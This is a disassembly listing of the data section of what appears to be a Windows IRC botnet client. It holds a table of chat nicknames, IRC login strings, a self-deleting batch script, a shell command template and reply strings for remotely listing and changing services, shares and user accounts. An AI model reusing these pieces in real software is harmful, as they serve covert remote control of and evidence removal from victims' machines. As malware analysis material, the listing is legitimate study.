a4you db '{4you}',0 ; DATA XREF: .data:00438BF0o
align 4
a4us db '|4us|',0 ; DATA XREF: .data:00438BECo
align 10h
aSex4free db '|sex4free|',0 ; DATA XREF: .data:00438BE8o
align 4
aLoloA db 'lolo|a|',0 ; DATA XREF: .data:00438BE4o
aLol db 'lol',0 ; DATA XREF: .data:00438BE0o
aTot_0 db 'tot',0 ; DATA XREF: .data:00438BDCo
aMofo db 'mofo',0 ; DATA XREF: .data:00438BD8o
align 4
aMof0 db 'mof0',0 ; DATA XREF: .data:00438BD4o
align 4
aMuha db 'muha',0 ; DATA XREF: .data:00438BD0o
align 4
aYeah db 'yeah',0 ; DATA XREF: .data:00438BCCo
align 4
aAha db 'aha',0 ; DATA XREF: .data:00438BC8o
aShit db 'shit',0 ; DATA XREF: .data:00438BC4o
align 4
aGurl db 'gurl',0 ; DATA XREF: .data:00438BC0o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: .data:00438BBCo
align 4
aBoy db 'BOY',0 ; DATA XREF: .data:00438BB8o
aFree db 'Free',0 ; DATA XREF: .data:00438BA4o
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: .data:00438BA0o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: .data:00438B94o
align 4
aF_3 db '^^^f^',0 ; DATA XREF: .data:00438B88o
align 10h
aSad db 'Sad',0 ; DATA XREF: .data:00438B84o
aLuvu db 'LUVU',0 ; DATA XREF: .data:00438B80o
align 4
a___0 db '_|_',0 ; DATA XREF: .data:00438B64o
aBbl db '|bbl',0 ; DATA XREF: .data:00438B58o
align 4
off_438CB8 dd offset loc_425240+2 ; DATA XREF: .data:00438B54o
aMuckc db 'muckc',0 ; DATA XREF: .data:00438B40o
align 4
aTruck db 'truck',0 ; DATA XREF: .data:00438B3Co
align 4
aTrimy db 'trimy',0 ; DATA XREF: .data:00438B38o
align 4
aLuvy db 'luvy',0 ; DATA XREF: .data:00438B34o
align 4
aUi db 'ui',0 ; DATA XREF: .data:00438B30o
align 10h
aSdf db 'sdf',0 ; DATA XREF: .data:00438B2Co
aRt db 'rt',0 ; DATA XREF: .data:00438B28o
align 4
aGf db 'gf',0 ; DATA XREF: .data:00438B24o
align 4
aTy db 'ty',0 ; DATA XREF: .data:00438B20o
align 10h
aRg db 'rg',0 ; DATA XREF: .data:00438B1Co
align 4
aHappy db 'happy',0 ; DATA XREF: .data:00438B18o
align 4
aRs db 'rs',0 ; DATA XREF: .data:00438AF8o
align 10h
aQ8A db '|q8|a',0 ; DATA XREF: .data:00438AB0o
align 4
aQ8 db 'Q8',0 ; DATA XREF: .data:00438AACo
align 4
aSick db 'sick}}',0 ; DATA XREF: .data:00438AA8o
align 4
aWiked db '|wiked|',0 ; DATA XREF: .data:00438AA4o
aLuvuF db '||luvu-f|',0 ; DATA XREF: .data:00438AA0o
align 4
aGens db '{gens|',0 ; DATA XREF: .data:00438A9Co
align 10h
aSex_0 db '{sex}',0 ; DATA XREF: .data:00438A98o
align 4
aHub db '{hub}',0 ; DATA XREF: .data:00438A94o
align 10h
aLuck db '|luck|',0 ; DATA XREF: .data:00438A90o
align 4
aSuck db '|suck|',0 ; DATA XREF: .data:00438A8Co
align 10h
aTot db '-|tot|',0 ; DATA XREF: .data:00438A88o
align 4
aWoh db '|woh|',0 ; DATA XREF: .data:00438A84o
align 10h
aTambe db '|tambe|',0 ; DATA XREF: .data:00438A80o
aLag db 'lag',0 ; DATA XREF: .data:00438A7Co
aBad db 'bad',0 ; DATA XREF: .data:00438A78o
aTree db 'tree',0 ; DATA XREF: .data:00438A74o
align 4
aZex db 'zex',0 ; DATA XREF: .data:00438A70o
aLez db 'lez',0 ; DATA XREF: .data:00438A6Co
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .data:00438A64o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: .data:00438A60o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: .data:00438A5Co
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .data:00438A58o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: .data:00438A54o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: .data:00438A50o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: .data:00438A4Co
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: .data:00438A48o
align 4
aCem39 db 'cem39',0 ; DATA XREF: .data:00438A44o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: .data:00438A40o
aTropikal db 'tropikal',0 ; DATA XREF: .data:00438A3Co
align 4
aPassenger db 'passenger',0 ; DATA XREF: .data:00438A38o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: .data:00438A34o
align 4
aUla db 'ula',0 ; DATA XREF: .data:00438A30o
aIzmirlm db 'izmirlm',0 ; DATA XREF: .data:00438A2Co
aAkden db 'akden',0 ; DATA XREF: .data:00438A28o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: .data:00438A24o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: .data:00438A20o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: .data:00438A1Co
aAdamm33 db 'AdAMM33',0 ; DATA XREF: .data:00438A18o
aM41ist db 'M41IST',0 ; DATA XREF: .data:00438A14o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: .data:00438A10o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: .data:00438A0Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: .data:00438A08o
align 4
aErkan db 'erkan',0 ; DATA XREF: .data:00438A04o
align 4
aDevre db 'devre',0 ; DATA XREF: .data:00438A00o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: .data:004389FCo
align 4
aBirsen db 'birsen',0 ; DATA XREF: .data:004389F8o
align 4
aA44m db 'a44m',0 ; DATA XREF: .data:004389F4o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: .data:004389F0o
align 4
off_438E98 dd offset byte_4B5245 ; DATA XREF: .data:004389ECo
aSevda db 'sevda',0 ; DATA XREF: .data:004389E8o
align 4
aKotan db 'kotan',0 ; DATA XREF: .data:004389E4o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: .data:004389E0o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: .data:004389DCo
align 10h
aKapk db 'kapk',0 ; DATA XREF: .data:004389D8o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: .data:004389D4o
align 4
aHayran db 'hayran',0 ; DATA XREF: .data:004389D0o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: .data:004389CCo
align 4
aAnkar db 'Ankar',0 ; DATA XREF: .data:004389C8o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: .data:004389C4o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: .data:004389C0o
align 4
aUmut db 'umut-',0 ; DATA XREF: .data:004389BCo
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: .data:004389B8o
align 4
aKumul db 'kumul',0 ; DATA XREF: .data:004389B4o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: .data:004389B0o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .data:004389ACo
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: .data:004389A8o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: .data:004389A4o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: .data:004389A0o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .data:0043899Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: .data:00438998o
aHoly db 'holy',0 ; DATA XREF: .data:00438994o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: .data:00438990o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: .data:0043898Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .data:00438988o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: .data:00438984o
align 4
aEmre db 'Emre--',0 ; DATA XREF: .data:00438980o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: .data:0043897Co
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .data:00438978o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: .data:00438974o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: .data:00438970o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .data:0043896Co
aArda db 'arda',0 ; DATA XREF: .data:00438968o
align 4
aDevran db 'devran',0 ; DATA XREF: .data:00438964o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: .data:00438960o
aDenizlim db 'DenizliM',0 ; DATA XREF: .data:0043895Co
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .data:00438958o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: .data:00438954o
align 10h
aBogac db 'bogac',0 ; DATA XREF: .data:00438950o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .data:0043894Co
align 4
aAnkh db 'ankh',0 ; DATA XREF: .data:00438948o
align 4
off_43902C dd offset byte_457441 ; DATA XREF: .data:00438944o
aAyla db 'AYLA-',0 ; DATA XREF: .data:00438940o
align 4
aAlbina db 'albina',0 ; DATA XREF: .data:0043893Co
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .data:00438938o
align 4
aZack db 'ZACK',0 ; DATA XREF: .data:00438934o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: .data:00438930o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: .data:0043892Co
align 4
aAhmet db 'ahmet',0 ; DATA XREF: .data:00438928o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .data:00438924o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: .data:00438920o
align 4
aRetg db 'RETG',0 ; DATA XREF: .data:0043891Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .data:00438918o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: .data:00438914o
aAslii db 'aslii',0 ; DATA XREF: .data:00438910o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: .data:0043890Co
aHaticem db 'haticem',0 ; DATA XREF: .data:00438908o
aArzu db 'ARZU',0 ; DATA XREF: .data:00438904o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: .data:00438900o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .data:004388FCo
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: .data:004388F8o
align 10h
aTekir db 'tekir',0 ; DATA XREF: .data:004388F4o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .data:004388F0o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: .data:004388ECo
align 4
aMelekk db 'melekk',0 ; DATA XREF: .data:004388E8o
align 4
aAkin db 'AKIN',0 ; DATA XREF: .data:004388E4o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: .data:004388E0o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: .data:004388DCo
aTolga34 db 'Tolga34',0 ; DATA XREF: .data:004388D8o
aMisssunday db 'misssunday',0 ; DATA XREF: .data:004388D4o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: .data:004388D0o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .data:004388CCo
align 4
aBerk19 db 'berk19',0 ; DATA XREF: .data:004388C8o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: .data:004388C4o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: .data:004388C0o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .data:004388BCo
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .data:004388B8o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .data:004388B4o
align 4
aKencing db 'Kencing',0 ; DATA XREF: .data:004388B0o
aReshma db 'reshma',0 ; DATA XREF: .data:004388ACo
align 4
aCamel db 'CAMEL',0 ; DATA XREF: .data:004388A8o
align 4
aGirl db 'GirL',0 ; DATA XREF: .data:004388A4o
align 4
aImra db 'imra',0 ; DATA XREF: .data:004388A0o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .data:0043889Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: .data:00438898o
align 4
aKermit db 'kermit',0 ; DATA XREF: .data:00438894o
align 4
aManee db 'manee',0 ; DATA XREF: .data:00438890o
align 4
aTroller db 'troller',0 ; DATA XREF: .data:0043888Co
aLuisa db 'Luisa',0 ; DATA XREF: .data:00438888o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: .data:00438884o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: .data:00438880o
align 4
aJanno db 'janno',0 ; DATA XREF: .data:0043887Co
align 10h
aBunty db 'bunty',0 ; DATA XREF: .data:00438878o
align 4
aHeval db 'heval',0 ; DATA XREF: .data:00438874o
align 10h
aCme db 'cme',0 ; DATA XREF: .data:00438870o
aMarcy db 'marcy',0 ; DATA XREF: .data:0043886Co
align 4
aTalika db 'talika',0 ; DATA XREF: .data:00438868o
align 4
aShez db 'Shez',0 ; DATA XREF: .data:00438864o
align 4
aKen db 'ken',0 ; DATA XREF: .data:00438860o
aFlexster db 'flexster',0 ; DATA XREF: .data:0043885Co
align 4
aKoko db 'koko',0 ; DATA XREF: .data:00438858o
align 4
aMale db 'male',0 ; DATA XREF: .data:00438854o
align 4
aSwin db 'swin',0 ; DATA XREF: .data:00438850o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: .data:0043884Co
aKrizha db 'KRIZHA',0 ; DATA XREF: .data:00438848o
align 4
aEmilya db 'emilya',0 ; DATA XREF: .data:00438844o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .data:00438840o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: .data:0043883Co
aFarooq db 'farooq',0 ; DATA XREF: .data:00438838o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .data:00438834o
align 4
aM_1: ; DATA XREF: .data:00438830o
; .data:00438B7Co
unicode 0, <M>,0
word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r
; .data:0043882Co
align 4
dword_43929C dd 42h ; DATA XREF: .data:00438828o
dword_4392A0 dd 56h ; DATA XREF: .data:00438824o
dword_4392A4 dd 43h ; DATA XREF: .data:00438820o
dword_4392A8 dd 58h ; DATA XREF: .data:0043881Co
; .data:00438BB0o
dword_4392AC dd 5Ah ; DATA XREF: .data:00438818o
dword_4392B0 dd 4Ch ; DATA XREF: .data:00438814o
dword_4392B4 dd 4Bh ; DATA XREF: .data:00438810o
dword_4392B8 dd 4Ah ; DATA XREF: .data:0043880Co
dword_4392BC dd 48h ; DATA XREF: .data:00438808o
dword_4392C0 dd 47h ; DATA XREF: .data:00438804o
dword_4392C4 dd 46h ; DATA XREF: .data:00438800o
; .data:00438B78o
dword_4392C8 dd 44h ; DATA XREF: .data:004387FCo
dword_4392CC dd 53h ; DATA XREF: .data:004387F8o
dword_4392D0 dd 50h ; DATA XREF: .data:004387F0o
dword_4392D4 dd 4Fh ; DATA XREF: .data:004387ECo
dword_4392D8 dd 55h ; DATA XREF: .data:004387E4o
word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r
; .data:004387E0o
align 10h
dword_4392E0 dd 54h ; DATA XREF: .data:004387DCo
dword_4392E4 dd 52h ; DATA XREF: .data:004387D8o
dword_4392E8 dd 45h ; DATA XREF: .data:004387D4o
dword_4392EC dd 57h ; DATA XREF: .data:004387D0o
dword_4392F0 dd 51h ; DATA XREF: .data:004387CCo
dword_4392F4 dd 62h ; DATA XREF: .data:004387C0o
; .data:00438AB4o ...
dword_4392F8 dd 78h ; DATA XREF: .data:004387B4o
; .data:00438B0Co
dword_4392FC dd 7Ah ; DATA XREF: .data:004387B0o
; .data:00438B14o ...
dword_439300 dd 6Ch ; DATA XREF: .data:004387ACo
; .data:00438AE0o
dword_439304 dd 68h ; DATA XREF: .data:004387A0o
; .data:00438ACCo
dword_439308 dd 67h ; DATA XREF: .data:0043879Co
; .data:00438AC8o ...
dword_43930C dd 66h ; DATA XREF: .data:00438798o
; .data:00438AC4o
dword_439310 dd 64h ; DATA XREF: .data:00438794o
; .data:00438ABCo
dword_439314 dd 79h ; DATA XREF: .data:0043877Co
; .data:00438B10o
dword_439318 dd 77h ; DATA XREF: .data:0043876Co
; .data:00438B08o
; char aNickS_1[]
aNickS_1 db 'NICK %s',0Ah,0 ; DATA XREF: sub_417B76+B1o
align 4
; char a432[]
a432 db '432',0 ; DATA XREF: sub_417B76+79o
aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_417B76+61o
align 4
; char aNickSUserSHotm[]
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
; char a__1[]
a__1 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo
; sub_417E84+175r ...
align 4
dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o
dword_4393DC dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: sub_4182CD+118o
dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_4182CD+13Fo
; char aSErrorSD_[]
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
; char aComspecCSS[]
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
align 4
; char a[]
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
; char aSdel_bat[]
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o
align 4
; char asc_4394A4[]
asc_4394A4 db '-' ; DATA XREF: sub_418A2E+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
; char asc_4394FC[]
asc_4394FC db '-' ; DATA XREF: sub_418A2E+5Co
db 3, 34h, 2
dd 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h, 65726165h
dd 64h
off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r
; sub_418FE5+51r ...
; "Add"
off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr
; sub_418FE5+83r ...
; "Added"
dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused_0 db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0043954Co
aStop_0 db 'Stop',0 ; DATA XREF: .data:00439548o
align 4
aStarted db 'Started',0 ; DATA XREF: .data:00439540o
aStart_0 db 'Start',0 ; DATA XREF: .data:0043953Co
align 4
aListed db 'Listed',0 ; DATA XREF: .data:00439534o
align 4
aList_1 db 'List',0 ; DATA XREF: .data:00439530o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .data:00439528o
aDelete_0 db 'Delete',0 ; DATA XREF: .data:00439524o
align 4
aAdded db 'Added',0 ; DATA XREF: .data:off_43951Co
align 4
aAdd db 'Add',0 ; DATA XREF: .data:off_439518o
; char asc_4395E0[]
asc_4395E0 db '-' ; DATA XREF: sub_418C0E+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
; char asc_439630[]
asc_439630 db '-' ; DATA XREF: sub_418C0E+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
; char aAnUnknownError[]
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
align 10h
; char aTheSystemIsShu[]
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418D2A:loc_418E34o
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418D2A:loc_418E2Do
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418D2A:loc_418E26o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418D2A:loc_418E1Fo
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418D2A:loc_418E11o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418D2A:loc_418E0Ao
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418D2A:loc_418E03o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418D2A:loc_418DD8o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418D2A:loc_418DD1o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418D2A:loc_418DCAo
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418D2A:loc_418DC3o
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418D2A:loc_418D98o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418D2A:loc_418D70o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
align 4
; char aSSS_2[]
aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo
; char aStopped[]
aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o
aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o
aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o
aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o
aPaused db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418EA8+25o
align 4
; char asc_439B84[]
asc_439B84 db '-' ; DATA XREF: sub_418FE5+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
; char asc_439BA8[]
asc_439BA8 db '-' ; DATA XREF: sub_418FE5+8Ao
db 3, 34h, 2
dd 274656Eh, 25202D03h, 68732073h, 3A657261h, 73252720h
dd 27h
; char asc_439BC4[]
asc_439BC4 db '-' ; DATA XREF: sub_418FE5+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 10h
; char a14s24s6u4s[]
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o
; char asc_439C10[]
asc_439C10 db '-' ; DATA XREF: sub_4191DB+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_4191DB+26o
align 10h
; char asc_439C70[]
asc_439C70 db '-' ; DATA XREF: sub_4192FC+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
; char asc_439C98[]
asc_439C98 db '-' ; DATA XREF: sub_4192FC+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
; char asc_439CC8[]
asc_439CC8 db '-' ; DATA XREF: sub_4192FC+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
; char asc_439CE8[]
asc_439CE8 db '-' ; DATA XREF: sub_419443+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
; char aUnitsPerWeekD[]
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
align 10h
; char aMax_StorageD[]
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
align 4
; char aUserSLanguageD[]
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
; char aCountryCodeD[]
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
align 4
; char aWorkstationsS[]
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
align 10h
; char aLogonServerS[]
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
align 4
; char aLastLogoffD[]
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o
; char aLastLogonD[]
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o
align 4
; char aNumberOfLogins[]
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
align 4
; char aBadPasswordCou[]
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
align 4
; char aPasswordAgeD[]
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
align 4
; char aParametersS[]
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo
align 4
; char aHomeDirectoryS[]
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
align 4
; char aAuthFlagsD[]
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o
align 4
; char aPrivilegeLevel[]
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o
align 4
aUser_3 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o
align 10h
; char aCommentS[]
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo
; char aUserCommentS[]
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
align 10h
; char aFullNameS[]
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o
align 10h
; char aAccountS[]
aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o
; char aTotalUsersFoun[]
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
align 4
; char asc_439EA4[]
asc_439EA4 db '-' ; DATA XREF: sub_41982C+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
; char aS_4[]
aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo
align 4
; char asc_439ED8[]
asc_439ED8 db '-' ; DATA XREF: sub_41982C+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
